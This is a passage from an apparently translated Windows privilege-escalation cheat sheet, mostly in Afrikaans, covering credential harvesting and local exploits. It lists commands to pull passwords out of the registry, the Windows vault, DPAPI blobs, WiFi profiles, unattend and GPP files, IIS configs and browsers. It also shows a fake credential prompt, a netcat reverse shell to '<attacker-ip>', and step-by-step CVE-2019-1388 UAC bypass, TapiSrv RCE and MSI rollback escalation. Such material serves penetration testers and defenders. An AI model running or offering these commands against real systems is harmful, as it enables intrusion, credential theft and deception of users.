Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP Tabel
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Firewall Rules
Check this page for Firewall related commands (lys reĂ«ls, skep reĂ«ls, skakel af, skakel afâŠ)
Meer commands for network enumeration here
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Die binaire bash.exe kan ook gevind word in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
As jy root user kry, kan jy op enige poort luister (die eerste keer as jy nc.exe gebruik om op ân poort te luister, sal dit via die GUI vra of nc toegelaat moet word deur die firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Om maklik bash as root te begin, kan jy --default-user root probeer
Jy kan die WSL lĂȘerstelsel verken in die vouer C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Kredensiale
Winlogon Kredensiale
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Credentials manager / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Die Windows Vault stoor gebruikerscredentials vir servers, websites en ander programme wat Windows kan log in die gebruikers outomaties. Op die oog af lyk dit asof gebruikers nou hul Facebook credentials, Twitter credentials, Gmail credentials, ens. kan stoor sodat hulle outomaties via blaaiers aangemeld word. Maar dit is nie so nie.
Windows Vault stoor credentials wat Windows gebruikers outomaties kan aanmeld, wat beteken dat enige Windows application that needs credentials to access a resource (server of ân website) can make use of this Credential Manager & Windows Vault en die verskafde credentials kan gebruik in plaas daarvan dat gebruikers die gebruikersnaam en wagwoord elke keer moet invoer.
Tensy die toepassings met Credential Manager interaksie het, dink ek nie dit is moontlik vir hulle om die credentials vir ân gegewe resource te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander manier communicate with the credential manager and request the credentials for that resource vanaf die standaard stoorvault.
Gebruik die cmdkey om die gestoorde credentials op die masjien te lys.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Dan kan jy runas met die /savecred-opsies gebruik om die gestoorde credentials te gebruik. Die volgende voorbeeld roep ân remote binary via ân SMB share aan.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Gebruik van runas met ân verskafde stel credentials.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Let wel dat mimikatz, lazagne, credentialfileview, VaultPasswordView, of die Empire Powershells module gebruik kan word.
DPAPI
Die Data Protection API (DPAPI) bied ân metode vir simmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-operating system vir die simmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie maak gebruik van ân gebruiker- of stelselgeheim wat beduidend bydra tot entropie.
DPAPI maak die enkripsie van sleutels moontlik deur ân simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime. In scenarioâs wat stelsel-enkripsie behels, gebruik dit die stelsel se domein-verifikasiegeheime.
Gekodeerde gebruiker RSA-sleutels wat DPAPI gebruik, word gestoor in die %APPDATA%\Microsoft\Protect\{SID} gids, waar {SID} die gebruiker se Security Identifier verteenwoordig. Die DPAPI-sleutel, wat saam met die master key wat die gebruiker se private sleutels in dieselfde lĂȘer beskerm, geberg is, bestaan tipies uit 64 bytes ewekansige data. (Dit is belangrik om op te let dat toegang tot hierdie gids beperk is, wat voorkom dat die inhoud met die dir-opdrag in CMD gelys kan word, alhoewel dit in PowerShell gelys kan word).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Jy kan die mimikatz module dpapi::masterkey met die toepaslike argumente (/pvk of /rpc) gebruik om dit te ontsleutel.
Die credentials files protected by the master password is gewoonlik geleë in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Jy kan die mimikatz module dpapi::cred gebruik met die toepaslike /masterkey om te ontsleutel.
Jy kan baie DPAPI masterkeys uit geheue onttrek met die sekurlsa::dpapi module (as jy root is).
PowerShell Aanmeldbewyse
PowerShell-aanmeldbewyse word dikwels gebruik vir skripwerk en outomatiseringstake as ân manier om enkripte aanmeldbewyse gerieflik te stoor. Die aanmeldbewyse word beskerm met DPAPI, wat gewoonlik beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar waarop dit geskep is ontsleutel kan word.
Om ân PS-aanmeldbewys uit die lĂȘer wat dit bevat te ontsleutel, kan jy dit doen:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Gestoorde RDP-verbindinge
Jy kan hulle vind by HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
en in HKCU\Software\Microsoft\Terminal Server Client\Servers\
Onlangs uitgevoerde opdragte
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Afstandslessenaar Kredensiaalbestuurder
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Gebruik die Mimikatz dpapi::rdg module met die toepaslike /masterkey om enige .rdg-lĂȘers te ontsleutel
Jy kan baie DPAPI masterkeys uit geheue onttrek met die Mimikatz sekurlsa::dpapi module
Sticky Notes
Mense gebruik dikwels die StickyNotes app op Windows-werkstasies om wagwoorde te stoor en ander inligting, sonder om te besef dat dit ân databasislĂȘer is. Hierdie lĂȘer is geleĂ« by C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite en dit is altyd die moeite werd om na te soek en te ondersoek.
AppCmd.exe
Let wel dat om wagwoorde van AppCmd.exe te herstel, moet jy Administrator wees en dit onder ân HoĂ« Integriteitsvlak laat loop.
AppCmd.exe is geleë in die %systemroot%\system32\inetsrv\ gids.
As hierdie lĂȘer bestaan, is dit moontlik dat sommige credentials gekonfigureer is en herkry kan word.
Hierdie kode is onttrek vanaf PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Kontroleer of C:\Windows\CCM\SCClient.exe bestaan .
Installeerders word met SYSTEM privileges uitgevoer, baie is kwesbaar vir DLL Sideloading (Inligting van https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
LĂȘers en Register (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH gasheer-sleutels
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys in die register
SSH private keys kan in die registersleutel HKCU\Software\OpenSSH\Agent\Keys gestoor word, daarom moet jy kyk of daar iets interessant daarin is:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
As jy enige inskrywing in daardie pad vind, is dit waarskynlik ân gestoorde SSH key. Dit word versleuteld gestoor maar kan maklik ontsleutel word met behulp van https://github.com/ropnop/windows_sshagent_extract.
Meer inligting oor hierdie tegniek hier: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
As die ssh-agent service nie loop nie en jy wil hĂȘ dit moet outomaties by opstart begin, voer die volgende uit:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
Dit lyk asof hierdie tegniek nie meer geldig is nie. Ek het probeer om ân paar ssh keys te skep, dit met
ssh-addby te voeg en via ssh by ân masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik vandpapi.dlltydens die asymmetriese sleutelverifikasie geĂŻdentifiseer nie.
Onbewaakte lĂȘers
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Jy kan ook hierdie lĂȘers soek met metasploit: post/windows/gather/enum_unattend
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM rugsteunkopieë
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Wolk-kredensiale
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Gebufferde GPP Wagwoord
ân Kenmerk was voorheen beskikbaar wat die uitrol van pasgemaakte plaaslike administrator-rekeninge op ân groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), gestoor as XML-lĂȘers in SYSVOL, deur enige domeingebruiker geraadpleeg word. Tweedens kon die wagwoorde binne hierdie GPPs, wat met AES256 en ân publiek gedokumenteerde standaard sleutel versleuteld is, deur enige geauthentiseerde gebruiker ontsleutel word. Dit het ân ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhoogde regte te verkry.
Om hierdie risiko te versag is ân funksie ontwikkel wat na lokaal gebufferde GPP-lĂȘers soek wat ân âcpasswordâ-veld bevat wat nie leeg is nie. Sodra so ân lĂȘer gevind word, ontsleutel die funksie die wagwoord en keer ân pasgemaakte PowerShell-objek terug. Hierdie objek sluit besonderhede oor die GPP en die lĂȘer se ligging in, wat help met die identifisering en herstel van hierdie sekuriteitskwesbaarheid.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Om die cPassword te ontsleutel:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Gebruik crackmapexec om die wagwoorde te kry:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem âPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem âPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Voorbeeld van web.config met credentials:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN-inlogbewyse
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
LoglĂȘers
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem âPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Vra vir credentials
Jy kan altyd vra dat die user sy credentials ingee, of selfs die credentials van ân ander user as jy dink hy dit kan weet (let daarop dat dit werklik riskant is om die client direk vir die credentials te vra):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Moontlike bestandsname wat credentials bevat
Bekende lĂȘers wat ân rukkie gelede passwords in clear-text of Base64 bevat het
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Soek al die voorgestelde lĂȘers:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem âPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credentials in die RecycleBin
Jy moet ook die Bin nagaan om na credentials daarin te soek
Om recover passwords wat deur verskeie programme gestoor is te herstel, kan jy gebruik maak van: http://www.nirsoft.net/password_recovery_tools.html
Inside die registry
Andere moontlike registry-sleutels met credentials
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Blaaiergeskiedenis
Jy moet na dbs kyk waar passwords van Chrome or Firefox gestoor word.
Kyk ook na die geskiedenis, boekmerke en gunstelinge van die blaaiers, aangesien sommige passwords are dalk daar gestoor is.
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Oorskrywing
Component Object Model (COM) is ân tegnologie ingebou in die Windows operating system wat interkommunikasie tussen sagteware-komponente in verskillende tale moontlik maak. Elke COM-komponent word geĂŻdentifiseer via ân class ID (CLSID) en elke komponent stel funksionaliteit beskikbaar via een of meer interfaces, geĂŻdentifiseer via interface IDs (IIDs).
COM-klasse en -interfaces word in die register gedefinieer onder HKEY\CLASSES\ROOT\CLSID en HKEY\CLASSES\ROOT\Interface onderskeidelik. Hierdie register word geskep deur die samesmelting van HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this register you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
In wese, as jy enige van die DLLs wat uitgevoer gaan word kan oorskryf, kan jy escalate privileges indien daardie DLL deur ân ander gebruiker uitgevoer gaan word.
Om te leer hoe aanvallers COM Hijacking as ân persistence-meganisme gebruik, kyk:
Generiese Password-soektog in lĂȘers en register
Soek in lĂȘerinhoude
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Soek ân lĂȘer met ân bepaalde lĂȘernaam
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Soek in die register na sleutelname en wagwoorde
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Gereedskap wat vir passwords soek
MSF-Credentials Plugin is a msf plugin Ek het hierdie plugin geskep om outomaties elke metasploit POST module uit te voer wat na credentials soek binne die slagoffer.
Winpeas soek outomaties na al die lĂȘers wat passwords bevat wat op hierdie bladsy genoem word.
Lazagne is nog ân uitstekende hulpmiddel om passwords uit ân stelsel te onttrek.
Die hulpmiddel SessionGopher soek na sessions, usernames en passwords van verskeie tools wat hierdie data in clear text stoor (PuTTY, WinSCP, FileZilla, SuperPuTTY, en RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
Gedeelde geheue-segmenten, verwys na as pipes, maak proseskommunikasie en data-oordrag moontlik.
Windows bied ân funksie genaamd Named Pipes, wat dit moontlik maak dat unrelated processes data deel, selfs oor verskillende netwerke. Dit lyk soos ân client/server-argitektuur, met rolle gespesifiseer as named pipe server en named pipe client.
Wanneer data deur ân pipe gestuur word deur ân client, het die server wat die pipe opgestel het die vermoĂ« om die identiteit van die client aan te neem, mits dit die nodige SeImpersonate regte het. Om ân privileged process te identifiseer wat via ân pipe kommunikeer wat jy kan naboots, bied die geleentheid om hoĂ«r voorregte te bekom deur die identiteit van daardie proses aan te neem wanneer dit met die pipe wat jy opgestel het interakteer. Vir instruksies oor die uitvoering van so ân aanval, vind nuttige gidse hier en hier.
Die volgende hulpmiddel laat jou ook toe om ân named pipe-kommunikasie te onderskep met ân tool soos burp: https://github.com/gabriel-sztejnworcel/pipe-intercept en hierdie tool laat toe om al die pipes te lys en te sien om privescs te vind https://github.com/cyberark/PipeViewer
Telephony tapsrv remote DWORD write to RCE
The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
ClientAttachwithpszDomainUserset to a writable existing path â the service opens it viaCreateFileW(..., OPEN_EXISTING)and uses it for async event writes.- Each event writes the attacker-controlled
InitContextfromInitializeto that handle. Register a line app withLRegisterRequestRecipient(Req_Func 61), triggerTRequestMakeCall(Req_Func 121), fetch viaGetAsyncEvents(Req_Func 0), then unregister/shutdown to repeat deterministic writes. - Add yourself to
[TapiAdministrators]inC:\\Windows\\TAPI\\tsec.ini, reconnect, then callGetUIDllNamewith an arbitrary DLL path to executeTSPI_providerUIIdentifyasNETWORK SERVICE.
More details:
Telephony Tapsrv Arbitrary Dword Write To Rce
Divers
File Extensions that could execute stuff in Windows
Check out the page https://filesec.io/
Monitoring Command Lines for passwords
Wanneer jy ân shell as ân user kry, kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat credentials on the command line deurgee. Die script hieronder vang proses-command-lines elke twee sekondes en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Steel wagwoorde uit prosesse
Van Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC geaktiveer is, is dit in sommige weergawes van Microsoft Windows moontlik om ân terminal of enige ander proses soos âNT\AUTHORITY SYSTEMâ te laat loop vanaf ân onbevoorregte gebruiker.
Dit maak dit moontlik om privilegies te verhoog en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Bykomend, daar is geen behoefte om enigiets te installeer nie en die binaire wat tydens die proses gebruik word, is deur Microsoft onderteken en uitgegee.
Sommige van die aangetaste stelsels is die volgende:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te voer:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
Jy het al die nodige lĂȘers en inligting in die volgende GitHub-repository:
https://github.com/jas502n/CVE-2019-1388
Van Administrator Medium na Hoë Integriteitsvlak / UAC Bypass
Lees dit om meer te leer oor Integriteitsvlakke:
Lees dan dit om te leer oor UAC en UAC bypasses:
Van Arbitrary Folder Delete/Move/Rename na SYSTEM EoP
Die tegniek wat beskryf word in this blog post met eksploit-kode available here.
Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om wettige lĂȘers te vervang met kwaadwillige een tydens die deĂŻnstallasieproses. Hiervoor moet die aanvaller ân malicious MSI installer skep wat gebruik sal word om die C:\Config.Msi gids te kaap, wat later deur die Windows Installer gebruik sal word om rollback-lĂȘers tydens die deĂŻnstallasie van ander MSI packages te stoor waar die rollback-lĂȘers gewysig sou wees om die kwaadwillige payload te bevat.
Die samegevatte tegniek is soos volg:
- Fase 1 â Voorbereiding vir die Hijack (laat
C:\Config.Msileeg)
-
Stap 1: Installeer die MSI
-
Skep ân
.msiwat ân onskuldige lĂȘer installeer (bv.dummy.txt) in ân skryfbare vouer (TARGETDIR). -
Merk die installer as âUAC Compliantâ, sodat ân non-admin user dit kan uitvoer.
-
Hou ân handle oop na die lĂȘer nĂĄ die installasie.
-
Stap 2: Begin DeĂŻnstallasie
-
DeĂŻnstalleer dieselfde
.msi. -
Die deĂŻnstallasieproses begin lĂȘers na
C:\Config.Msiskuif en hernoem hulle na.rbflĂȘers (rollback-backups). -
Poll die oop lĂȘer-handle met
GetFinalPathNameByHandleom te ontdek wanneer die lĂȘerC:\Config.Msi\<random>.rbfword. -
Stap 3: Aangepaste Sinchronisering
-
Die
